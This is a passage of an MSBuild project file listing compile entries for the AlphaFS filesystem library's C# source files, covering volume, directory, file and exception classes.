Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetUniqueVolumeNameForPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDeviceName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDisplayName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuid.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuidForNtDeviceName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumePathName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsReady.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsSameVolume.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsVolume.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.QueryDosDevice.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.SetVolumeMountPoint.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.VolumeLabel.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\VolumeInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\ByHandleFileInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\CopyMoveArguments.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\CopyMoveProgressRoutine.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\CopyMoveResult.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Compress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.CompressTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Decompress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DecompressTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompression.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompressionTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompression.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompressionTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Copy.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyFolderTimestamps.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Move.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.MoveTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.ValidateMoveAction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CompressDecompressCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveDirectoryCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateDirectoryCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateJunctionCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryNative.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteEmptySubdirectoriesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteJunctionCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnableDisableEncryptionCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EncryptDecryptDirectoryCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileIdBothDirectoryInfoCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileSystemEntryInfosCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.ExistsJunctionCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetDirectoryRootCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetParentCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetPropertiesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetSizeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.IsEmptyCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Decrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.DisableEncryption.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.EnableEncryption.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Encrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ExportEncryptedDirectoryRaw.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ImportEncryptedDirectoryRaw.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunctionTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLink.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLinkTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunctionTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunctionTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestamps.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestampsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetTimestamps.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjects.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjectsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectory.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectoryTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Delete.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectories.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectoriesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreams.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreamsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectories.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectoriesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFiles.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFilesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntries.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntriesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfos.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfosTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateLogicalDrives.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Exists.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsDrive.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetCurrentDirectory.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectories.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoriesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRoot.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRootTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfoTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandleTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFiles.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFilesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntries.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntriesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfoTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfoTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLogicalDrives.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParent.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParentTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetProperties.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetPropertiesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSize.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSizeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.HasInheritedPermissions.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmpty.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmptyTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetCurrentDirectory.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Compress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Decompress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.DisableCompression.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.EnableCompression.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyTo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyToMoveToCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.MoveTo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Decrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.DisableEncryption.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.EnableEncryption.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Encrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.CreateJunction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.DeleteJunction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.ExistsJunction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CountFileSystemObjects.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Create.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectory.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectoryCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Delete.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.DeleteEmptySubdirectories.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateAlternateDataStreams.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateDirectories.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFiles.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFileSystemInfos.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetDirectories.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileIdInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFiles.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileSystemInfos.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.RefreshEntryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.SetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\AlreadyExistsException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DeviceNotReadyException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryNotEmptyException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryReadOnlyException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\FileReadOnlyException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\InvalidTransactionException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotAReparsePointException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotSameDeviceException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionalConflictException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyAbortedException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyCommittedException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnrecognizedReparsePointException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnsupportedRemoteTransactionException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Compress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.CompressTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Decompress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.DecompressTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSize.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSizeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Copy.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveLogic.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveNative.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Move.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.MoveTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.RestartMoveOrThrowException.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.ValidateFileOrDirectoryMoveArguments.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.VerifyDelayUntilReboot.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.AppendTextCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyMoveCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyTimestampsCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileStreamCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateHardlinkCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateSymbolicLinkCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateTextCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.DeleteFileCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EncryptDecryptFileCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateAlternateDataStreamsCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateHardLinksCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ExistsCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.FindAllStreamsCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAccessControlCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core 